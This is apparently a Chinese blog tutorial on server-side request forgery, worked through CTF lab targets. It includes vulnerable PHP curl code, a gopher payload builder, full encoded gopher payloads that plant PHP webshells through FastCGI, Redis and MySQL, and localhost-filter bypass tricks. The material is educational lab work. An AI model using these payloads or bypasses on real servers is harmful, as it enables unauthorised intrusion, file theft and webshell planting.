Loading

服务端请求伪造(SSRF)

img

img

0x01:服务器端请求伪造的概念

​ SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

​ 利用一台可以进行网络请求的服务器做为跳板攻击其他服务器。

通俗来讲,有两个网站:
A网站,所有人都可以访问的外网网站的
B网站,只能内部访问的网站
A网站能访问B网站
所以,作为普通用户,我们可以访问A网站,然后篡改获取资源的来源,请求从B网站获取资源。A网站没有检测我的请求合不合法,以自己A网站的身份去访问B网站,于是我们就有机会攻击B网站。

0x02:SSRF能干什么

1、SSRF可以对服务器所在内网其他机器和本地机器进行端口扫描,探测内网其他主机存活

2、向内部任意主机的任意端口发送精心构造的数据包,攻击运行在内网或本地的应用,比如未授权的redis、mysql等。

3、利用File协议读取本地文件。

4、DOS攻击(请求大文件,始终报错keep-alive alway)

靶场地址:http://59.63.200.79:8019/

0x03:SSRF相关的函数和协议

1. 函数

file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中
readfile():输出一个文件的内容
fsockopen():打开一个网络连接或者一个Unix 套接字连接
curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用
fopen():打开一个文件文件或者 URL
PHP原生类SoapClient在触发反序列化时可导致SSRF

2. 协议

file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
http/s协议:探测内网主机存活

0x04:SSRF基础用法

curl 模拟浏览器请求的,比如获取获取远程的网页,文件等,

if(isset($_GET['url']) && $_GET['url'] != null){
    //接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
    $URL = $_GET['url'];
    $CH = curl_init($URL);
    curl_setopt($CH, CURLOPT_HEADER, FALSE);
    curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
    $RES = curl_exec($CH);
    curl_close($CH) ;

http://192.168.88.130/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com

image-20211021121050943

http://192.168.88.130/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:80

image-20211021121812453

1. 任意文件读取

1.1 pikachu靶场

利用file协议读取本地文件

http://192.168.88.130/pikachu/vul/ssrf/ssrf_curl.php?url=file://c:/a.txt

image-20211021121904794

利用file协议读取php文件

image-20211021122258446

内容在页面源码里面

image-20211021122317223

1.2 CTFhub

http://challenge-3f48eabbf8524a87.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php

image-20211021152416581

2. 探测内网主机存活

​ 一般是先想办法得到目标主机的网络配置信息,如读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie等文件,从而获得目标主机的内网网段并进行爆破。我们可以借助burp中的爆破模块进行存活主机探测。

Pikachu靶场

image-20211021122755161

image-20211021122810848

image-20211021124003750

3. 扫描内网端口

3.1 Pikachu靶场

通过dict协议可以探测到内网服务器的端口,如果端口没开放不会有回显。

image-20211021124357104

image-20211021124533459

image-20211021124641795

3.2 CTFhub

在SSRF中,dict协议与http协议可用来探测内网的主机存活与端口开放情况。这里的端口扫描我们用burpsuite来完成。首先抓包,发送到Intruder进行爆破设置:

image-20211021153004932

image-20211021153014044

image-20211021153120413

image-20211021153127991

0x05:SSRF进阶用法

1. POST请求

Gopher协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了Gopher协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 求。这无疑极大拓宽了 SSRF 的攻击面。

1.1 CTFhub

目录扫描获取到知道存在flag.php文件,我们通过SSRF漏洞读取flag.php的源码文件。

?url=file:///var/www/html/flag.php

image-20211024220940471

提示只能来自127.0.0.1。

?url=http://127.0.0.1/flag.php

image-20211024221819861

拿到了key,只需要构造POST请求,把key提交给flag.php页面即可

构造一个POST请求包,POST、Host、Content-Type和Content-Length是POST请求必须的。如果少了会报错的,GET请求不会。Content-Length为字符串"key=536c7b793ac0ea703996c111911c1a2a"的长度。

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=5e37e6b3f645b286834aabb8a49dac71

将数据包进行编码

import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=f1ddd2efba9480d821debc09bfa09d4d
"""  
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)

然后发送goher协议,gopher协议的具体格式

gopher://ip:port/_METHOD /file HTTP/1.1 http-header&body
?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df1ddd2efba9480d821debc09bfa09d4d%250D%250A

image-20211024223949954

2. 上传文件

2.1 CTFhub

访问flag.php文件,上传webshell抓包

image-20211024225829855

修改上面的脚本,将捕获到的文件上传的数据包放进去。

image-20211024230714693

通过gopher协议发送payload。

image-20211024230115431

3. 攻击FastCGI协议

工具地址:https://github.com/tarunkant/Gopherus

生成paylod

image-20211024235200180

进行二次编码后将最终的payload内容放到?url=后面发送过去(GET会进行一次解码,curl再进行一次解码),将%和:编码

% -> %25
: -> %3a

获得payload

gopher%3a//127.0.0.1%3a9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH131%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2583%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%253D%2520%257C%2520base64%2520-d%2520%253E%2520/var/www/html/1.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

出现如下banner信息说明攻击成功

image-20211024232723578

直接蚁剑连接

image-20211024235431565

4.攻击Redis协议

Redis是一个key-value存储系统,默认端口6379,未授权常用getshell的方式:写webshell,定时任务反弹shell,ssh写公钥。

直接访问6379端口,出现如下banner信息大概率存在redis未授权漏洞

image-20211025002145684

4.1 CTFhub

生成gopher协议的payload

image-20211025002708505

做二次url编码

gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

访问shell.php

image-20211025104731668

Webshell写入成功,查看文件

image-20211025104806558

查看flag文件

image-20211025104927569

4.2 CTFshow Web入门 360题

image-20211231100456551

然后将_后面的进行urlencode编码。发送,默认shell的名字时shell.php,执行命令拿到flag

image-20211231100543122

5. 攻击Mysql

5.1 CTFshow Web入门 359题

select "<?php eval($_POST[cmd]); ?>" into outfile "/var/www/html/cmd.php";

image-20211231095117334

将_后面的字符全部进行urlencode编码一次,编码网址:https://meyerweb.com/eric/tools/dencoder/

编码后结果为

%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2563%256d%2564%255d%2529%253b%2520%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2563%256d%2564%252e%2570%2568%2570%2522%253b%2501%2500%2500%2500%2501

发送

gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2563%256d%2564%255d%2529%253b%2520%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2563%256d%2564%252e%2570%2568%2570%2522%253b%2501%2500%2500%2500%2501

然后执行命令

image-20211231095502651

0x06:SSRF Bypass的方法

1. SSRF URL Bypass

提示只允许下面的域名访问。

image-20211025002926270

我们可以利用@来绕过

?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

2. SSRF 进制转换 Bypass

进制绕过,这里有个在线转换网站

https://tool.520101.com/wangluo/jinzhizhuanhuan/

十六进制
url=http://0x7F.0.0.1/flag.php

八进制
url=http://0177.0.0.1/flag.php

10 进制整数格式
url=http://2130706433/flag.php

16 进制整数格式,还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php

还有一种特殊的省略模式
127.0.0.1写成127.1

用CIDR绕过localhost
url=http://127.127.127.127/flag.php

还有很多方式不想多写了
url=http://0/flag.php
url=http://0.0.0.0/flag.php
http://0/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://①②⑦.⓪.⓪.①

2.1 CTFHUB

<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>
127.0.0.1:
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433

image-20211025003748012

image-20211025003617696

2.2 CTFshow Web入门 web352-353

image-20211230135229141

2.3 CTFshow Web入门 web355

设置了$host<5的限制,随便来个利用127.0.0.1=127.1刚好是5位

image-20211230161419496

2.4 CTFshow Web入门 web356

限制$host<3

image-20211230161606899

3. SSRF 302跳转bypass

3.1 方法一:借助重定向网址

网址http://xip.io 当访问这个服务的任意子域名的时候,都会重定向到这个子域名,举个例子:当我们访问 http://127.0.0.1.xip.io/flag.php,那么实际上我们访问的是就 http://127.0.0.1/flag.php。

但是http://xip.io网址不可用,失败,尝试其他网站比如:

https://nip.io/

https://sslip.io/

也没有成功。

img

3.2 方法二:借助短链接

https://tinyurl.com/app/

image-20211025102555695

3.2.1 CTFHUB

image-20211025102607999

3.2.2 CTFshow Web入门 web357

FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值

image-20211230164051874

3.3 方法三:借助服务器重定向

当ssrf限制只能使用http或https协议,可通过Header函数绕过限制。在vps创建一个302.php的文件,根据需求设置协议类型,内容参考下图:

微信图片_20210805145037

将对应的url参数改为:http://vpsip/302.php即可进行深度利用。

4. SSRF DNS-Rebinding重绑定

title

1、获取到用户输入的url

2、解析出url中host的ip

3、判断ip是否合法

4、合法则进行服务端请求。

​ 在这个流程中,一共存在两次 DNS解析,第一次是解析HOST对对应的IP,第二次是服务端请求时解析一次IP,两次请求是存在时间差的,这个时间差对应的机制就是TTL,它表示域名和IP绑定在DNS里面能存活的时长。如果我们能在这个TTL时间内替换HOST对应的IP为内网IP,那么缓存在TTL到期时,就可以请求到内网的资源了。

​ 总结来说,DNS 重绑定攻击的原理是:利用服务器两次解析同一域名的短暂间隙,更换域名背后的ip达到突破同源策略或过waf进行ssrf的目的。

利用DNS重绑定辅助网址:https://lock.cmpxchg8b.com/rebinder.html

image-20211025102403631

4.1 CTFHUB

image-20211025101225320

4.2 CTFshow

A记录是127.0.0.1的网站: http://sudo.cc/,可以不用解析自己的。

image-20211230155725526

0x07:参考链接

以上内容来自如下链接:

https://www.freebuf.com/articles/web/258365.html

https://www.freebuf.com/articles/web/265646.html

https://zhuanlan.zhihu.com/p/89426041

https://xz.aliyun.com/t/7333

https://hackmd.io/@Lhaihai/H1B8PJ9hX#smbsmbs

posted @ 2021-12-31 10:55  Hel10  阅读(1758)  评论(0编辑  收藏  举报